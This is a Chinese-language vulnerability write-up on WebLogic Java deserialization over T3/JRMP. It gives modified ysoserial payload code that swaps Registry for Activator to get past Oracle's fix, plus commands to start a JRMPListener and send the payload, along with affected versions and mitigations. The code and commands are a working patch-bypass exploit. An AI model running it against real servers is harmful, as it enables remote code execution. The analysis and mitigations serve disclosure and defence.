WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
参考链接: http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
oracle公司给出的修复如下
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { String[] arr$ = interfaces; int len$ = interfaces.length; for(int i$ = 0; i$ < len$; ++i$) { String intf = arr$[i$]; if(intf.equals("java.rmi.registry.Registry")) { throw new InvalidObjectException("Unauthorized proxy deserialization"); } } return super.resolveProxyClass(interfaces); }
这里采用白名单的形式进行了限制,要分析这个漏洞还要从上一个说起:
public Registry getObject(String command) throws Exception { int sep = command.indexOf(58); String host; int port; if(sep < 0) { port = (new Random()).nextInt('uffff'); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)).intValue(); } ObjID id = new ObjID((new Random()).nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry)Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{Registry.class}, obj); return proxy; }
这个也是一个老的CVE的payload,以前是通过Registry进行rmi的注册的,由于oracle公司添加了对于这个的限制,那么是否有可替代的东西?
事实可以看出来去继承Remote方法的接口还是挺多的,据其中一个例子Activator这个类就可以做到跟Register同等效果,修改一下代码:
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest" ) public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> { public JRMPClient() { } public Activator getObject(String command) throws Exception { int sep = command.indexOf(58); String host; int port; if(sep < 0) { port = (new Random()).nextInt('uffff'); host = command; } else { host = command.substring(0, sep); port = Integer.valueOf(command.substring(sep + 1)).intValue(); } ObjID id = new ObjID((new Random()).nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Activator proxy = (Activator)Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[]{Activator.class}, obj); return proxy; } public static void main(String[] args) throws Exception { Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader()); ObjectPayload payload = (ObjectPayload)JRMPClient.class.newInstance(); Object objBefore = payload.getObject("127.0.0.1:7779"); FunUtil.GeneratePayload(objBefore,"E:/Penetration/weblogic/p.dat"); } }
运行后在本地生成一个p.dat文件,剩下的过程就跟以前一样
第一步我们首先要启动一个服务,因为我们注册的端口是7779,所以要通过命令
java -cp yso.jar ysoserial.exploit.JRMPListener 7779 CommonsCollections1 calc
第二步远程启用rmi调用从服务上面下载对象,p.dat就是刚才java代码生成的payload
python weblogic1.py 127.0.0.1 7001 p.dat
第三步触发计算器
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
以上均为官方支持的版本
方案1:
Oracle官方已经在关键补丁更新(CPU)中修复了该漏洞,强烈建议受影响的用户尽快升级更新进行防护。
注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆 https://support.oracle.com后,可以下载最新补丁。
方案2:
1.进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置。
2.在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s。3. 保存后规则即可生效,无需重新启动。
此漏洞以目前weblogic对t3的修复状况来说已经很难找到实例,随着安全意识不管有没有漏洞T3都应该不对外开放
攻击需要服务器可以出外网与远程机器交互,这样情况下攻击的范围还是挺窄的
调用过一次以后,端口没法复用,得重新注册端口,还是对服务器有一定风险的